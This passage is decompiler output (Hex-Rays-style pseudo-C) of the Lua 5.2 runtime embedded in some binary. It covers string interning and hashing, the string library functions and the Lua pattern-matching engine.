= 0; *((_DWORD *)v3 + 48) = 0; *((_DWORD *)v3 + 47) = 0; *((_DWORD *)v3 + 51) = 0; *((_DWORD *)v3 + 50) = 0; *((_DWORD *)v3 + 49) = 0; *((_DWORD *)v3 + 30) = 384; *((_DWORD *)v3 + 31) = 0; *((_DWORD *)v3 + 63) = 200; *((_DWORD *)v3 + 64) = 200; *((_DWORD *)v3 + 65) = 200; *((_DWORD *)v3 + 87) = 0; *((_DWORD *)v3 + 88) = 0; *((_DWORD *)v3 + 89) = 0; *((_DWORD *)v3 + 90) = 0; *((_DWORD *)v3 + 91) = 0; *((_DWORD *)v3 + 92) = 0; *((_DWORD *)v3 + 93) = 0; *((_DWORD *)v3 + 94) = 0; *((_DWORD *)v3 + 95) = 0; if ( luaD_rawrunprotected((lua_State *)v3, f_luaopen, 0) ) { close_state((lua_State *)v3); v3 = 0; } result = (lua_State *)v3; } else { result = 0; } return result; } //----- (005BDF90) -------------------------------------------------------- void __cdecl lua_close(lua_State *L) { close_state(L->l_G->mainthread); } //----- (005BDFB0) -------------------------------------------------------- int __cdecl luaS_eqlngstr(TString *a, TString *b) { unsigned int v2; // ecx@1 TString *v3; // esi@3 TString *v4; // edi@3 bool v5; // zf@3 int result; // eax@7 v2 = a->tsv.len; if ( a == b ) goto LABEL_11; if ( v2 != b->tsv.len ) goto LABEL_12; v3 = a + 1; v4 = b + 1; v5 = 1; do { if ( !v2 ) break; v5 = LOBYTE(v3->dummy.u) == LOBYTE(v4->dummy.u); v3 = (TString *)((char *)v3 + 1); v4 = (TString *)((char *)v4 + 1); --v2; } while ( v5 ); if ( v5 ) LABEL_11: result = 1; else LABEL_12: result = 0; return result; } //----- (005BDFE0) -------------------------------------------------------- int __cdecl luaS_eqstr(TString *a, TString *b) { char v2; // cl@1 unsigned int v4; // ecx@5 TString *v5; // edi@7 TString *v6; // esi@7 bool v7; // zf@7 v2 = BYTE4(a->dummy.u); if ( v2 == BYTE4(b->dummy.u) ) { if ( v2 == 4 ) { if ( a == b ) return 1; } else { v4 = a->tsv.len; if ( a == b ) return 1; if ( v4 == b->tsv.len ) { v5 = b + 1; v6 = a + 1; v7 = 1; do { if ( !v4 ) break; v7 = LOBYTE(v6->dummy.u) == LOBYTE(v5->dummy.u); v6 = (TString *)((char *)v6 + 1); v5 = (TString *)((char *)v5 + 1); --v4; } while ( v7 ); if ( v7 ) return 1; } } } return 0; } //----- (005BE030) -------------------------------------------------------- unsigned int __cdecl luaS_hash(const char *str, unsigned int l, unsigned int seed) { unsigned int v3; // edx@1 unsigned int result; // eax@1 unsigned int v5; // ecx@1 unsigned int v6; // edi@2 v3 = l; result = seed ^ l; v5 = (l >> 5) + 1; if ( l >= v5 ) { do { v6 = (result >> 2) + 32 * result + (unsigned __int8)str[v3 - 1]; v3 -= v5; result ^= v6; } while ( v3 >= v5 ); } return result; } //----- (005BE070) -------------------------------------------------------- void __cdecl luaS_resize(lua_State *L, int newsize) { lua_State *v2; // edi@1 char *v3; // esi@1 int v4; // eax@1 int v5; // ebp@1 int i; // eax@4 int v7; // edx@6 int v8; // ecx@7 int v9; // eax@7 bool v10; // zf@7 int v11; // edx@8 int v12; // ecx@8 int v13; // eax@11 int newsizea; // [sp+14h] [bp+8h]@6 v2 = L; v3 = (char *)&L->l_G->strt; luaC_runtilstate(L, -5); v4 = *((_DWORD *)v3 + 2); v5 = newsize; if ( newsize > v4 ) { if ( (unsigned int)(newsize + 1) > 0x3FFFFFFF ) luaM_toobig(L); *(_DWORD *)v3 = luaM_realloc_(L, *(void **)v3, 4 * v4, 4 * newsize); for ( i = *((_DWORD *)v3 + 2); i < newsize; ++i ) *(_DWORD *)(*(_DWORD *)v3 + 4 * i) = 0; } v7 = 0; for ( newsizea = 0; v7 < *((_DWORD *)v3 + 2); newsizea = v7 ) { v8 = *(_DWORD *)v3 + 4 * v7; v9 = *(_DWORD *)v8; v10 = *(_DWORD *)v8 == 0; *(_DWORD *)v8 = 0; if ( !v10 ) { do { v11 = *(_DWORD *)v9; v12 = (v5 - 1) & *(_DWORD *)(v9 + 8); *(_DWORD *)v9 = *(_DWORD *)(*(_DWORD *)v3 + 4 * v12); *(_DWORD *)(*(_DWORD *)v3 + 4 * v12) = v9; *(_BYTE *)(v9 + 5) &= 0xBFu; v9 = v11; } while ( v11 ); v2 = L; v7 = newsizea; } ++v7; } v13 = *((_DWORD *)v3 + 2); if ( v5 < v13 ) { if ( (unsigned int)(v5 + 1) > 0x3FFFFFFF ) luaM_toobig(v2); *(_DWORD *)v3 = luaM_realloc_(v2, *(void **)v3, 4 * v13, 4 * v5); } *((_DWORD *)v3 + 2) = v5; } //----- (005BE170) -------------------------------------------------------- TString *__usercall createstrobj(int tag, GCObject **list, lua_State *L, const char *str, unsigned int l, unsigned int h) { TString *result; // eax@1 result = (TString *)luaC_newobj(L, tag, l + 17, list, 0); result->tsv.hash = h; result->tsv.len = l; BYTE6(result->dummy.u) = 0; memcpy(&result[1], str, l); *((_BYTE *)&result[1].dummy.u + l) = 0; return result; } //----- (005BE1C0) -------------------------------------------------------- TString *__usercall newshrstr(lua_State *L, unsigned int l, unsigned int h, const char *str) { lua_State *v4; // esi@1 global_State *v5; // ebp@1 unsigned int v6; // ecx@1 int v7; // ebp@1 unsigned int v8; // edi@1 signed int v9; // eax@1 TString *result; // eax@4 v4 = L; v5 = L->l_G; v6 = v5->strt.nuse; v7 = (int)&v5->strt; v8 = h; v9 = *(_DWORD *)(v7 + 8); if ( v6 >= v9 && v9 <= 1073741822 ) luaS_resize(v4, 2 * v9); result = (TString *)luaC_newobj(v4, 4, l + 17, (GCObject **)(*(_DWORD *)v7 + 4 * (v8 & (*(_DWORD *)(v7 + 8) - 1))), 0); result->tsv.hash = v8; result->tsv.len = l; BYTE6(result->dummy.u) = 0; memcpy(&result[1], str, l); *((_BYTE *)&result[1].dummy.u + l) = 0; ++*(_DWORD *)(v7 + 4); return result; } //----- (005BE240) -------------------------------------------------------- TString *__cdecl internshrstr(lua_State *L, const char *str, unsigned int l) { global_State *v3; // ebx@1 const char *v4; // esi@1 unsigned int v5; // eax@1 GCObject *v6; // edx@1 unsigned int v7; // ecx@4 int v8; // edi@4 bool v9; // zf@4 char v11; // al@11 unsigned int v12; // [sp+0h] [bp-1Ch]@0 unsigned int v13; // [sp+4h] [bp-18h]@0 unsigned int h; // [sp+18h] [bp-4h]@1 v3 = L->l_G; v4 = str; v5 = luaS_hash(str, v12, v13); v6 = v3->strt.hash[v5 & (v3->strt.size - 1)]; h = v5; if ( !v6 ) return newshrstr(L, v4, l, v5); while ( 1 ) { if ( v5 != v6->ts.tsv.hash || v6->ts.tsv.len != l ) goto LABEL_9; v7 = l; v8 = (int)&v6->u.uv.len; v9 = 1; do { if ( !v7 ) break; v9 = *v4++ == *(_BYTE *)v8++; --v7; } while ( v9 ); if ( v9 ) break; v4 = str; v5 = h; LABEL_9: v6 = v6->gch.next; if ( !v6 ) return newshrstr(L, v4, l, v5); } v11 = v6->gch.marked ^ 3; if ( !((unsigned __int8)(v3->currentwhite ^ 3) & (unsigned __int8)v11) ) v6->gch.marked = v11; return (TString *)v6; } //----- (005BE2D0) -------------------------------------------------------- TString *__cdecl luaS_newlstr(lua_State *L, const char *str, unsigned int l) { TString *result; // eax@2 if ( l > 0x28 ) { if ( l + 1 > 0xFFFFFFED ) luaM_toobig(L); result = createstrobj(L, str, l, 20, L->l_G->seed, 0); } else { result = internshrstr(L, str, l); } return result; } //----- (005BE320) -------------------------------------------------------- TString *__cdecl luaS_new(lua_State *L, const char *str) { unsigned int v2; // eax@1 TString *result; // eax@2 v2 = strlen(str); if ( v2 > 0x28 ) { if ( v2 + 1 > 0xFFFFFFED ) luaM_toobig(L); result = createstrobj(L, str, v2, 20, L->l_G->seed, 0); } else { result = internshrstr(L, str, v2); } return result; } //----- (005BE380) -------------------------------------------------------- Udata *__cdecl luaS_newudata(lua_State *L, unsigned int s, Table *e) { Udata *result; // eax@3 if ( s > 0xFFFFFFE5 ) luaM_toobig(L); result = (Udata *)luaC_newobj(L, 7, s + 24, 0, 0); result->uv.len = s; result->uv.metatable = 0; result->uv.env = e; return result; } //----- (005BE3C0) -------------------------------------------------------- int __cdecl str_len(lua_State *L) { int v1; // ecx@0 int l; // [sp+0h] [bp-4h]@1 l = v1; luaL_checklstring(L, 1, (unsigned int *)&l); lua_pushinteger(L, l); return 1; } //----- (005BE3F0) -------------------------------------------------------- int __cdecl str_sub(lua_State *L) { const char *v1; // eax@1 unsigned int v2; // esi@1 const char *v3; // ebp@1 int v4; // eax@1 int v5; // esi@2 unsigned int v6; // ebx@6 int v7; // eax@6 int result; // eax@15 unsigned int l; // [sp+Ch] [bp-4h]@1 v1 = luaL_checklstring(L, 1, &l); v2 = l; v3 = v1; v4 = luaL_checkinteger(L, 2); if ( v4 < 0 ) { if ( -v4 <= v2 ) v5 = v4 + v2 + 1; else v5 = 0; } else { v5 = v4; } v6 = l; v7 = luaL_optinteger(L, 3, -1); if ( v7 < 0 ) { if ( -v7 <= v6 ) v7 += v6 + 1; else v7 = 0; } if ( (unsigned int)v5 < 1 ) v5 = 1; if ( v7 > l ) v7 = l; if ( v5 > (unsigned int)v7 ) { lua_pushlstring(L, byte_635E1E, 0); result = 1; } else { lua_pushlstring(L, &v3[v5 - 1], v7 - v5 + 1); result = 1; } return result; } //----- (005BE4B0) -------------------------------------------------------- int __cdecl str_reverse(lua_State *L) { const char *v1; // edi@1 char *v2; // eax@1 unsigned int v3; // edx@1 unsigned int v4; // ecx@1 unsigned int l; // [sp+8h] [bp-218h]@1 luaL_Buffer b; // [sp+Ch] [bp-214h]@1 unsigned int v8; // [sp+21Ch] [bp-4h]@1 v8 = (unsigned int)&l ^ __security_cookie; v1 = luaL_checklstring(L, 1, &l); v2 = luaL_buffinitsize(L, &b, l); v3 = l; v4 = 0; if ( l ) { do { v2[v4] = v1[v3 - v4 - 1]; v3 = l; ++v4; } while ( v4 < l ); } luaL_pushresultsize(&b, v3); return 1; } //----- (005BE540) -------------------------------------------------------- int __cdecl str_lower(lua_State *L) { const char *v1; // ebx@1 char *v2; // eax@1 unsigned int v3; // ecx@1 unsigned int v4; // edi@1 char *v5; // esi@2 int v6; // ebx@2 unsigned int l; // [sp+Ch] [bp-218h]@1 luaL_Buffer b; // [sp+10h] [bp-214h]@1 unsigned int v10; // [sp+220h] [bp-4h]@1 v10 = (unsigned int)&l ^ __security_cookie; v1 = luaL_checklstring(L, 1, &l); v2 = luaL_buffinitsize(L, &b, l); v3 = l; v4 = 0; if ( l ) { v5 = v2; v6 = v1 - v2; do { *v5 = tolower((unsigned __int8)v5[v6]); v3 = l; ++v4; ++v5; } while ( v4 < l ); } luaL_pushresultsize(&b, v3); return 1; } //----- (005BE5E0) -------------------------------------------------------- int __cdecl str_upper(lua_State *L) { const char *v1; // ebx@1 char *v2; // eax@1 unsigned int v3; // ecx@1 unsigned int v4; // edi@1 char *v5; // esi@2 int v6; // ebx@2 unsigned int l; // [sp+Ch] [bp-218h]@1 luaL_Buffer b; // [sp+10h] [bp-214h]@1 unsigned int v10; // [sp+220h] [bp-4h]@1 v10 = (unsigned int)&l ^ __security_cookie; v1 = luaL_checklstring(L, 1, &l); v2 = luaL_buffinitsize(L, &b, l); v3 = l; v4 = 0; if ( l ) { v5 = v2; v6 = v1 - v2; do { *v5 = toupper((unsigned __int8)v5[v6]); v3 = l; ++v4; ++v5; } while ( v4 < l ); } luaL_pushresultsize(&b, v3); return 1; } //----- (005BE680) -------------------------------------------------------- int __cdecl str_rep(lua_State *L) { int v1; // edi@1 int result; // eax@2 int v3; // ebp@5 unsigned int v4; // ebx@5 void *v5; // eax@5 unsigned int lsep; // [sp+Ch] [bp-224h]@1 unsigned int l; // [sp+10h] [bp-220h]@1 const void *s; // [sp+14h] [bp-21Ch]@1 const void *sep; // [sp+18h] [bp-218h]@1 luaL_Buffer b; // [sp+1Ch] [bp-214h]@5 unsigned int v11; // [sp+22Ch] [bp-4h]@1 v11 = (unsigned int)&lsep ^ __security_cookie; s = luaL_checklstring(L, 1, &l); v1 = luaL_checkinteger(L, 2); sep = luaL_optlstring(L, 3, byte_635E1E, &lsep); if ( v1 > 0 ) { if ( lsep + l < l || lsep + l >= 0x7FFFFFFFu / v1 ) luaL_error(L, "resulting string too large"); v3 = v1 - 1; v4 = l * v1 + lsep * (v1 - 1); v5 = luaL_buffinitsize(L, &b, l * v1 + lsep * (v1 - 1)); if ( v1 > 1 ) { do { memcpy(v5, s, l); v5 = (char *)v5 + l; if ( lsep ) { memcpy(v5, sep, lsep); v5 = (char *)v5 + lsep; } --v3; } while ( v3 ); } memcpy(v5, s, l); luaL_pushresultsize(&b, v4); result = 1; } else { lua_pushlstring(L, byte_635E1E, 0); result = 1; } return result; } //----- (005BE800) -------------------------------------------------------- int __cdecl str_byte(lua_State *L) { void *v1; // eax@1 unsigned int v2; // esi@1 int v3; // eax@1 int v4; // ebx@2 unsigned int v5; // esi@6 int v6; // eax@6 int result; // eax@15 int v8; // esi@16 int v9; // edi@18 char *v10; // ebx@19 unsigned int l; // [sp+Ch] [bp-8h]@1 char *s; // [sp+10h] [bp-4h]@1 v1 = (void *)luaL_checklstring(L, 1, &l); v2 = l; s = (char *)v1; v3 = luaL_optinteger(L, 2, 1); if ( v3 < 0 ) { if ( -v3 <= v2 ) v4 = v3 + v2 + 1; else v4 = 0; } else { v4 = v3; } v5 = l; v6 = luaL_optinteger(L, 3, v4); if ( v6 < 0 ) { if ( -v6 <= v5 ) v6 += v5 + 1; else v6 = 0; } if ( (unsigned int)v4 < 1 ) v4 = 1; if ( v6 > l ) v6 = l; if ( v4 <= (unsigned int)v6 ) { v8 = v6 - v4 + 1; if ( v8 + v4 <= (unsigned int)v6 ) luaL_error(L, "string slice too long"); luaL_checkstack(L, v6 - v4 + 1, "string slice too long"); v9 = 0; if ( v8 > 0 ) { v10 = &s[v4 - 1]; do lua_pushinteger(L, (unsigned __int8)v10[v9++]); while ( v9 < v8 ); } result = v8; } else { result = 0; } return result; } //----- (005BE8F0) -------------------------------------------------------- int __cdecl str_char(lua_State *L) { int v1; // ebp@1 int v2; // esi@1 int v3; // eax@2 char *p; // [sp+Ch] [bp-218h]@1 luaL_Buffer b; // [sp+10h] [bp-214h]@1 unsigned int v7; // [sp+220h] [bp-4h]@1 v7 = (unsigned int)&p ^ __security_cookie; v1 = lua_gettop(L); v2 = 1; for ( p = luaL_buffinitsize(L, &b, v1); v2 <= v1; ++v2 ) { v3 = luaL_checkinteger(L, v2); if ( (unsigned __int8)v3 != v3 ) luaL_argerror(L, v2, "value out of range"); p[v2 - 1] = v3; } luaL_pushresultsize(&b, v1); return 1; } //----- (005BE990) -------------------------------------------------------- int __cdecl writer(lua_State *L, const void *b, unsigned int size, void *B) { luaL_addlstring((luaL_Buffer *)B, (const char *)b, size); return 0; } //----- (005BE9B0) -------------------------------------------------------- int __cdecl str_dump(lua_State *L) { luaL_Buffer b; // [sp+4h] [bp-214h]@1 unsigned int v3; // [sp+214h] [bp-4h]@1 v3 = (unsigned int)&b ^ __security_cookie; luaL_checktype(L, 1, 6); lua_settop(L, 1); luaL_buffinit(L, &b); if ( lua_dump(L, writer, &b) ) luaL_error(L, "unable to dump given function"); luaL_pushresult(&b); return 1; } //----- (005BEA50) -------------------------------------------------------- const char *__usercall classend(MatchState *ms, const char *p) { const char *v2; // esi@1 int v3; // eax@1 int v4; // esi@1 const char *result; // eax@3 char v6; // cl@8 v2 = p; v3 = *p; v4 = (int)(v2 + 1); if ( v3 == 37 ) { if ( (const char *)v4 == ms->p_end ) luaL_error(ms->L, "malformed pattern (ends with '%%')"); result = (const char *)(v4 + 1); } else { if ( v3 == 91 ) { if ( *(_BYTE *)v4 == 94 ) ++v4; do { if ( (const char *)v4 == ms->p_end ) luaL_error(ms->L, "malformed pattern (missing ']')"); v6 = *(_BYTE *)v4++; if ( v6 == 37 ) { if ( (const char *)v4 < ms->p_end ) ++v4; } } while ( *(_BYTE *)v4 != 93 ); result = (const char *)(v4 + 1); } else { result = (const char *)v4; } } return result; } //----- (005BEAC0) -------------------------------------------------------- int __usercall match_class(int c, int cl) { int v2; // esi@1 int v3; // esi@2 int result; // eax@14 int v5; // [sp+0h] [bp-8h]@0 v2 = c; switch ( tolower(v5) ) { case 97: v3 = isalpha(v2); goto LABEL_13; case 99: v3 = iscntrl(v2); goto LABEL_13; case 100: v3 = isdigit(v2); goto LABEL_13; case 103: v3 = isgraph(v2); goto LABEL_13; case 108: v3 = islower(v2); goto LABEL_13; case 112: v3 = ispunct(v2); goto LABEL_13; case 115: v3 = isspace(v2); goto LABEL_13; case 117: v3 = isupper(v2); goto LABEL_13; case 119: v3 = isalnum(v2); goto LABEL_13; case 120: v3 = isxdigit(v2); goto LABEL_13; case 122: v3 = v2 == 0; LABEL_13: if ( islower(cl) ) result = v3; else result = v3 == 0; break; default: result = cl == v2; break; } return result; } //----- (005BEBE0) -------------------------------------------------------- int __usercall matchbracketclass(int c, const char *p, const char *ec) { const char *v3; // esi@1 const char *v4; // ecx@3 int v5; // esi@3 int v6; // ebp@4 int v7; // edi@6 int v8; // eax@10 int sig; // [sp+Ch] [bp-4h]@1 v3 = p; sig = 1; if ( p[1] == 94 ) { sig = 0; v3 = p + 1; } v4 = ec; v5 = (int)(v3 + 1); if ( v5 < (unsigned int)ec ) { v6 = v5 + 2; do { if ( *(_BYTE *)v5 == 37 ) { v7 = *(_BYTE *)(v5++ + 1); ++v6; if ( match_class(c, v7) ) return sig; v4 = ec; } else { if ( *(_BYTE *)(v5 + 1) != 45 || v6 >= (unsigned int)v4 ) { if ( *(_BYTE *)v5 == c ) return sig; } else { v8 = *(_BYTE *)v5; v5 += 2; v6 += 2; if ( v8 <= c && c <= *(_BYTE *)v5 ) return sig; } } ++v5; ++v6; } while ( v5 < (unsigned int)v4 ); } return sig == 0; } //----- (005BEC80) -------------------------------------------------------- const char *__usercall matchbalance(MatchState *ms, const char *s, const char *p) { const char *v3; // esi@1 const char *v5; // ecx@5 int v6; // edx@5 int v7; // esi@5 int v8; // ebp@5 signed int i; // edi@5 int v10; // eax@6 v3 = s; if ( p >= ms->p_end - 1 ) luaL_error(ms->L, "malformed pattern (missing arguments to '%%b')"); if ( *s != *p ) return 0; v5 = ms->src_end; v6 = p[1]; v7 = (int)(v3 + 1); v8 = *p; for ( i = 1; v7 < (unsigned int)v5; ++v7 ) { v10 = *(_BYTE *)v7; if ( v10 == v6 ) { --i; if ( !i ) return (const char *)(v7 + 1); } else { if ( v10 == v8 ) ++i; } } return 0; } //----- (005BECF0) -------------------------------------------------------- const char *__usercall max_expand(const char *p, MatchState *ms, const char *s, const char *ep) { const char *v4; // ebp@1 const char *v5; // esi@1 int v6; // edi@1 const char v7; // al@2 int v8; // ebx@2 int v9; // eax@5 const char *result; // eax@11 int i; // [sp+Ch] [bp-4h]@1 v4 = s; v5 = p; v6 = 0; i = 0; if ( s < ms->src_end ) { while ( 1 ) { v7 = *v5; v8 = (unsigned __int8)*v4; if ( *v5 == 37 ) break; if ( v7 != 46 ) { if ( v7 == 91 ) v9 = matchbracketclass(v8, v5, ep - 1); else v9 = v7 == v8; LABEL_8: if ( !v9 ) goto LABEL_10; } ++v6; ++v4; i = v6; if ( v4 >= ms->src_end ) { LABEL_10: if ( v6 >= 0 ) goto LABEL_11; return 0; } } v9 = match_class((unsigned __int8)*v4, (unsigned __int8)v5[1]); v6 = i; goto LABEL_8; } LABEL_11: while ( 1 ) { result = match_0(ms, &s[v6], ep + 1); if ( result ) break; --v6; if ( v6 < 0 ) return 0; } return result; } //----- (005BEDA0) -------------------------------------------------------- const char *__usercall min_expand(const char *s, MatchState *ms, const char *p, const char *ep) { const char *v4; // edi@1 const char *v5; // esi@1 const char *result; // eax@1 const char v7; // al@3 int v8; // ebx@3 int v9; // eax@6 v4 = ep; v5 = s; for ( result = match_0(ms, s, ep + 1); !result; result = match_0(ms, v5, v4 + 1) ) { if ( v5 >= ms->src_end ) return 0; v7 = *p; v8 = (unsigned __int8)*v5; if ( *p == 37 ) { v9 = match_class((unsigned __int8)*v5, (unsigned __int8)p[1]); v4 = ep; } else { if ( v7 == 46 ) goto LABEL_10; if ( v7 == 91 ) v9 = matchbracketclass(v8, p, v4 - 1); else v9 = v7 == v8; } if ( !v9 ) return 0; LABEL_10: ++v5; } return result; } //----- (005BEE40) -------------------------------------------------------- const char *__usercall start_capture(MatchState *ms, const char *s, const char *p, int what) { int v4; // edi@1 const char *result; // eax@3 v4 = ms->level; if ( v4 >= 32 ) luaL_error(ms->L, "too many captures"); ms->capture[v4].init = s; ms->capture[v4].len = what; ms->level = v4 + 1; result = match_0(ms, s, p); if ( !result ) --ms->level; return result; } //----- (005BEE90) -------------------------------------------------------- const char *__usercall end_capture(MatchState *ms, const char *s, const char *p) { int v3; // eax@1 char *v4; // ecx@2 int v5; // edi@6 const char *result; // eax@6 v3 = ms->level - 1; if ( v3 < 0 ) LABEL_5: luaL_error(ms->L, "invalid pattern capture"); v4 = (char *)&ms->capture[v3].len; while ( *(_DWORD *)v4 != -1 ) { --v3; v4 -= 8; if ( v3 < 0 ) goto LABEL_5; } v5 = v3; ms->capture[v3].len = s - ms->capture[v3].init; result = match_0(ms, s, p); if ( !result ) ms->capture[v5].len = -1; return result; } //----- (005BEEF0) -------------------------------------------------------- const char *__usercall match_capture(MatchState *ms, const char *s, int l) { int v3; // eax@1 int v4; // edx@5 const char *v5; // esi@6 int v6; // ecx@6 const char *v7; // edi@6 bool v8; // zf@6 const char *result; // eax@10 v3 = l - 49; if ( v3 < 0 || v3 >= ms->level || ms->capture[v3].len == -1 ) luaL_error(ms->L, "invalid capture index %%%d"); v4 = ms->capture[v3].len; if ( (const char *)(ms->src_end - s) < (const char *)v4 ) goto LABEL_14; v5 = ms->capture[v3].init; v6 = ms->capture[v3].len; v7 = s; v8 = 1; do { if ( !v6 ) break; v8 = *v5++ == *v7++; --v6; } while ( v8 ); if ( v8 ) result = &s[v4]; else LABEL_14: result = 0; return result; } //----- (005BEF40) -------------------------------------------------------- const char *__cdecl match_0(MatchState *ms, const char *s, const char *p) { const char *v3; // ebp@1 const char *v4; // esi@1 MatchState *v5; // edi@1 const char *v6; // ecx@1 const char *v7; // eax@6 MatchState *v8; // edx@6 const char *v9; // ebx@6 const char v10; // al@7 int v11; // ecx@7 int v12; // eax@10 const char v13; // al@14 const char *v14; // ebp@14 const char *v15; // eax@16 unsigned __int8 v16; // cl@17 const char *v17; // edi@19 signed int v18; // ecx@27 const char *result; // eax@31 const char *pa; // [sp+1Ch] [bp+Ch]@6 const char *pb; // [sp+1Ch] [bp+Ch]@16 v3 = p; v4 = s; v5 = ms; v6 = ms->p_end; if ( p == v6 ) return v4; while ( 2 ) { switch ( *v3 ) { case 36: if ( v3 + 1 != v6 ) goto dflt; return (const char *)((unsigned int)v4 & ((v4 != v5->src_end) - 1)); default: dflt: v7 = classend(v5, v3); v8 = ms; v9 = v7; pa = v7; if ( v4 >= ms->src_end ) goto LABEL_28; v10 = *v3; v11 = (unsigned __int8)*v4; if ( *v3 == 37 ) { v12 = match_class((unsigned __int8)*v4, (unsigned __int8)v3[1]); } else { if ( v10 == 46 ) { LABEL_27: v18 = 1; goto LABEL_29; } if ( v10 == 91 ) { v12 = matchbracketclass(v11, v3, v9 - 1); v9 = pa; } else { v12 = v10 == v11; } } v8 = ms; if ( v12 ) goto LABEL_27; LABEL_28: v18 = 0; LABEL_29: switch ( *v9 ) { case 63: if ( v18 ) { result = match_0(v8, v4 + 1, v9 + 1); if ( result ) return result; } v3 = v9 + 1; goto LABEL_35; default: if ( !v18 ) return 0; ++v4; v3 = v9; goto LABEL_35; case 42: return max_expand(v8, v4, v3, v9); case 43: if ( !v18 ) return 0; result = max_expand(v8, v4 + 1, v3, v9); break; case 45: result = min_expand(v8, v4, v3, v9); break; } return result; case 37: switch ( v3[1] ) { default: goto dflt; case 98: v4 = matchbalance(v5, v4, v3 + 2); if ( !v4 ) return 0; v3 += 4; goto LABEL_35; case 102: v13 = v3[2]; v14 = v3 + 2; if ( v13 != 91 ) luaL_error(v5->L, "missing '[' after '%%f' in pattern"); v15 = classend(v5, v14); pb = v15; if ( v4 == ms->src_init ) v16 = 0; else v16 = *(v4 - 1); v17 = v15 - 1; if ( matchbracketclass(v16, v14, v15 - 1) || !matchbracketclass((unsigned __int8)*v4, v14, v17) ) return 0; v3 = pb; goto LABEL_35; case 48: case 49: case 50: case 51: case 52: case 53: case 54: case 55: case 56: case 57: v4 = match_capture(ms, v4, (unsigned __int8)v3[1]); if ( !v4 ) return 0; v3 += 2; LABEL_35: v6 = ms->p_end; if ( v3 == v6 ) return v4; v5 = ms; break; } continue; case 40: if ( v3[1] == 41 ) result = start_capture(ms, v4, v3 + 2, -2); else result = start_capture(ms, v4, v3 + 1, -1); return result; case 41: return end_capture(ms, v4, v3 + 1); } } } //----- (005BF240) -------------------------------------------------------- const char *__usercall lmemfind(const char *result, unsigned int l1, const char *s2, unsigned int l2) { const void *v4; // ebx@1 unsigned int v5; // edi@4 size_t v6; // ebp@4 void *v7; // eax@7 int v8; // eax@8 unsigned int v9; // ecx@8 const char *v10; // edi@8 int v11; // esi@8 bool v12; // zf@8 int v13; // ebx@12 unsigned int l2a; // [sp+18h] [bp+Ch]@4 v4 = result; if ( l2 ) { if ( l2 <= l1 ) { v5 = l2 - 1; v6 = l1 - (l2 - 1); l2a = l2 - 1; if ( v6 ) { while ( 1 ) { v7 = memchr(v4, *s2, v6); if ( !v7 ) break; v8 = (int)((char *)v7 + 1); v9 = v5; v10 = s2 + 1; v11 = v8; v12 = 1; do { if ( !v9 ) break; v12 = *(_BYTE *)v11++ == *v10++; --v9; } while ( v12 ); if ( v12 ) return (const char *)(v8 - 1); v13 = (int)((char *)v4 - v8); v12 = v13 + v6 == 0; v6 += v13; v4 = (const void *)v8; if ( v12 ) return 0; v5 = l2a; } } result = 0; } else { result = 0; } } return result; } //----- (005BF2B0) -------------------------------------------------------- void __usercall push_onecapture(MatchState *ms, int i, const char *s, const char *e) { int v4; // ebx@5 if ( i < ms->level ) { v4 = ms->capture[i].len; if ( v4 == -1 ) luaL_error(ms->L, "unfinished capture"); if ( v4 == -2 ) lua_pushinteger(ms->L, ms->capture[i].init - ms->src_init + 1); else lua_pushlstring(ms->L, ms->capture[i].init, ms->capture[i].len); } else { if ( i ) luaL_error(ms->L, "invalid capture index"); lua_pushlstring(ms->L, s, e - s); } } //----- (005BF330) -------------------------------------------------------- int __usercall push_captures(MatchState *ms, const char *s, const char *e) { MatchState *v3; // esi@1 signed int v4; // ebx@1 int i; // edi@4 v3 = ms; v4 = ms->level; if ( !v4 && s ) v4 = 1; luaL_checkstack(ms->L, v4, "too many captures"); for ( i = 0; i < v4; ++i ) push_onecapture(v3, i, s, e); return v4; } //----- (005BF380) -------------------------------------------------------- int __usercall nospecials(unsigned int l, const char *p) { unsigned int v2; // esi@1 int v3; // eax@2 const char *v4; // eax@3 char v5; // cl@4 v2 = 0; while ( 1 ) { strpbrk((char *)&p[v2], "^$*+?.([%-"); if ( v3 ) break; v4 = &p[v2]; do v5 = *v4++; while ( v5 ); v2 += v4 - &p[v2 + 1] + 1; if ( v2 > l ) return 1; } return 0; } //----- (005BF3D0) -------------------------------------------------------- int __usercall str_find_aux(lua_State *L, int find) { const char *v2; // ebp@1 void *v3; // eax@1 unsigned int v4; // edi@1 const char *v5; // ebx@1 int v6; // eax@1 int v7; // edi@2 int v8; // eax@10 const char *v9; // eax@11 int v10; // edi@12 int result; // eax@12 const char *v12; // edi@13 bool v13; // zf@13 const char *v14; // ebx@16 unsigned int v15; // edx@17 unsigned int lp; // [sp+Ch] [bp-124h]@1 const char *p; // [sp+10h] [bp-120h]@1 unsigned int ls; // [sp+14h] [bp-11Ch]@1 int anchor; // [sp+18h] [bp-118h]@13 const char *ms; // [sp+1Ch] [bp-114h]@15 unsigned int v21; // [sp+20h] [bp-110h]@15 const char *v22; // [sp+24h] [bp-10Ch]@15 lua_State *v23; // [sp+28h] [bp-108h]@15 int v24; // [sp+2Ch] [bp-104h]@16 v2 = luaL_checklstring(L, 1, &ls); v3 = (void *)luaL_checklstring(L, 2, &lp); v4 = ls; v5 = (const char *)v3; p = (const char *)v3; v6 = luaL_optinteger(L, 3, 1); if ( v6 < 0 ) { if ( -v6 > v4 ) { LABEL_6: v7 = 1; goto LABEL_8; } v7 = v6 + v4 + 1; } else { v7 = v6; } if ( (unsigned int)v7 < 1 ) goto LABEL_6; if ( v7 > ls + 1 ) { LABEL_23: lua_pushnil(L); return 1; } LABEL_8: if ( find ) { if ( lua_toboolean(L, 4) || (v8 = nospecials(v5, lp), v5 = p, v8) ) { v9 = lmemfind(&v2[v7 - 1], ls - v7 + 1, v5, lp); if ( v9 ) { v10 = v9 - v2; lua_pushinteger(L, v9 - v2 + 1); lua_pushinteger(L, lp + v10); return 2; } goto LABEL_23; } } v12 = &v2[v7 - 1]; v13 = *v5 != 94; anchor = *v5 == 94; if ( !v13 ) { ++v5; p = v5; --lp; } v23 = L; ms = v2; v21 = (unsigned int)&v2[ls]; v22 = &v5[lp]; while ( 1 ) { v24 = 0; v14 = match_0((MatchState *)&ms, v12, v5); if ( v14 ) break; v15 = (unsigned int)v12++; if ( v15 >= v21 || anchor ) goto LABEL_23; v5 = p; } if ( find ) { lua_pushinteger(L, v12 - v2 + 1); lua_pushinteger(L, v14 - v2); result = push_captures((MatchState *)&ms, 0, 0) + 2; } else { result = push_captures((MatchState *)&ms, v12, v14); } return result; } //----- (005BF5A0) -------------------------------------------------------- int __cdecl str_find(lua_State *L) { return str_find_aux(L, 1); } //----- (005BF5C0) 